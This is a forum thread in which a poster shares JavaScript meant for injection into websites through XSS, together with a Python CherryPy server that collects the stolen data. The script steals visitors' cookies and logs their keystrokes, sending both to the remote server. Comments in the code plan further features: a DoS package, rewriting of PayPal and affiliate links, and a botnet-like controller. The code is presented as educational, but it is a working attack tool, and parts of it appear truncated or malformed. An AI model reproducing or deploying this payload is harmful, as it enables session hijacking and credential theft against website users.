JavaScript Keylogger +

For the discussion of Perl, Python, Ruby, and PHP and other interpreted languages.

JavaScript Keylogger +

Post by tgoe on Tue Sep 29, 2009 6:14 am
([msg=30219]see JavaScript Keylogger +[/msg])

First of all, this is experimental code for educational purposes! I'm just trying to understand what is possible with JavaScript injection. As web sites move toward AJAX web apps with one formal page load it seems feasible to manipulate entire user bases interactively without actually hacking them -- just the websites. Transient malware in JavaScript... I'm looking at the possiblility of a single, fixed payload that performs actions on-demand... sort of a psuedo-botnet. Here is what I have now but it's pretty far off the mark (but it works) :)

Code: Select all
// XXX change to use sopb to bootstrap an object that loads plugins
// instead of hardcoding functionality into payload:
// - keylogger
// - cookie stealer
// - DoS package
// - change current window into invisible iframe + child?
// - link rewriter (affiliate codes, paypal links...)
// - monkey patch 3rd party apps (advert systems, mibbit...)

//Primitive communication system that doesn't honor
//Same Origin Policy like XMLHttpRequest
function SOPbypass(base) {
    this.head = document.getElementsByTagName('head')[0];
    this.base = base;

    this.send = function (loc) {
        var ds = document.createElement('script'); = "SOPbypass" + String(Math.random()); //some browsers might
                                                     //cry when asked to remove
                                                     //a non-unique id
        ds.src = this.base + loc;
        ds.type = "text/javascript";
        this.head.appendChild(ds); //perform GET. Return data is inserted into
                                   //SOPbypass prototype :S

        setTimeout(function () {
        }, 500); //delayed removal allows response script to execute

var sopb = new SOPbypass("");
var instanceID = String(Math.random()); //unique tag per load/user

//cookie stealer
sopb.send("cookie/" + instanceID + "/" + (document.cookie || "no cookie") +
          "/" + instanceID);

//handling of returned data must be delayed :S
setTimeout(function () {
    var body = document.getElementsByTagName('body')[0];
    body.innerHTML += "<p>" + sopb.response + "</p>";
}, 100);

//buffered javascript keylogger
//Keys are collected as user types and sent only when user pauses typing.
//Much cheaper than real-time keylogger or constantly sniffing DOM for
//forms that could appear a la AJAX.
var isTyping = false;
var keyString = "";

setInterval(function () {
    if(!isTyping && keyString) {
        var d = new Date();
        sopb.send("keys/" + instanceID + "/" + keyString + "/" + d.getTime());
        keyString = "";
}, 500);

setInterval(function () {
    isTyping = false;
}, 1000);

document.onkeypress = function (ev) {
    isTyping = true;
    var ev = ev || window.event;
    var key = (ev.which||ev.charCode||ev.keyCode);
    keyString += key + "-";

Code: Select all
#!/usr/bin/env python

import os
import urlparse
import cherrypy

class SOPbypassServer():
    """Custom webserver to communicate with SOPbypass.js instances"""

    def getLog(self, id):
        """Return file object where incoming data is to be stored."""
        ref = cherrypy.request.headers.get('Referer')
        d = urlparse.urlparse(ref).netloc
        d = cherrypy.config.get("logdir") + d + os.sep

        if not os.path.isdir(d):

            logfile = open(d+id, "a")
            logfile = open(id, "a")

        return logfile #works out to about one logfile per user per website
                       #dbm would be better

    def response(self, data):
        """Turn data into JavaScript that inserts data into sopb object"""
        return 'SOPbypass.prototype.response = "' +str(data)+ '";'

    def index(self):
        """For testing"""
        payload = open("SOPbypass.js").read()
        page = '<!DOCTYPE html><body><script>\n%s  \
               </script><input type="text"></input>\
               </body></html> \
               ' % (payload)
        return page

    #throwaway is garbage to discourage browser caching

    def cookie(self, id, cookie, throwaway=None):
        """Store the cookie"""
        c = "[cookie]\n" + cookie + "\n[/cookie]\n"
        return self.response("This instance ID is: " + id)

    def keys(self, id, keys, throwaway=None):
        """Convert and store key data"""
        keydata = keys.split("-")
        keystring = ""

        for k in keydata:
            if k:
                keystring += chr(int(k))


if __name__ == '__main__':
    #hack to obviate need for separate config file
    cfg = {}
    cfg["server.socket_host"] = ""
    cfg["server.socket_port"] = 8080
    cfg["logdir"] = "logs" + os.sep
    cherrypy.quickstart(SOPbypassServer(), "/")

I'm wondering if there's a simpler way or at least a way to act on data returned by the controlled server without relying on arbitrary timeouts. The javascript keylogger intervals may need tweaking too. Or maybe just a real XHR xD
User avatar
Posts: 715
Joined: Sun Sep 28, 2008 2:33 pm
Location: q3dm7
Blog: View Blog (0)

Re: JavaScript Keylogger +

Post by eggscrambler on Sun Nov 27, 2011 11:26 pm
([msg=63087]see Re: JavaScript Keylogger +[/msg])

I think there would be another problem. The code would also need to work on the entire server or website. Mostly javascript injection will only work on the local computer that injected it .
New User
New User
Posts: 16
Joined: Thu Apr 28, 2011 11:30 pm
Blog: View Blog (0)

Re: JavaScript Keylogger +

Post by Defience on Tue Nov 29, 2011 5:12 pm
([msg=63127]see Re: JavaScript Keylogger +[/msg])

Thread is over 2 years old.....
User avatar
Posts: 1281
Joined: Thu Jun 12, 2008 3:16 pm
Blog: View Blog (0)

Re: JavaScript Keylogger +

Post by tgoe on Fri Dec 02, 2011 10:08 pm
([msg=63167]see Re: JavaScript Keylogger +[/msg])

I'm gonna abuse my power a bit and unlock this thread... :|

Yep, you'd need to exploit a stored xss vulnerability or xss into a single-page web application. btw, the above code is terrible :D I wrote it before I knew about JSON-P or CORS.

-- Sat Jan 07, 2012 2:20 am --

oh hai:
User avatar
Posts: 715
Joined: Sun Sep 28, 2008 2:33 pm
Location: q3dm7
Blog: View Blog (0)

Return to Interpreted Languages

Who is online

Users browsing this forum: No registered users and 0 guests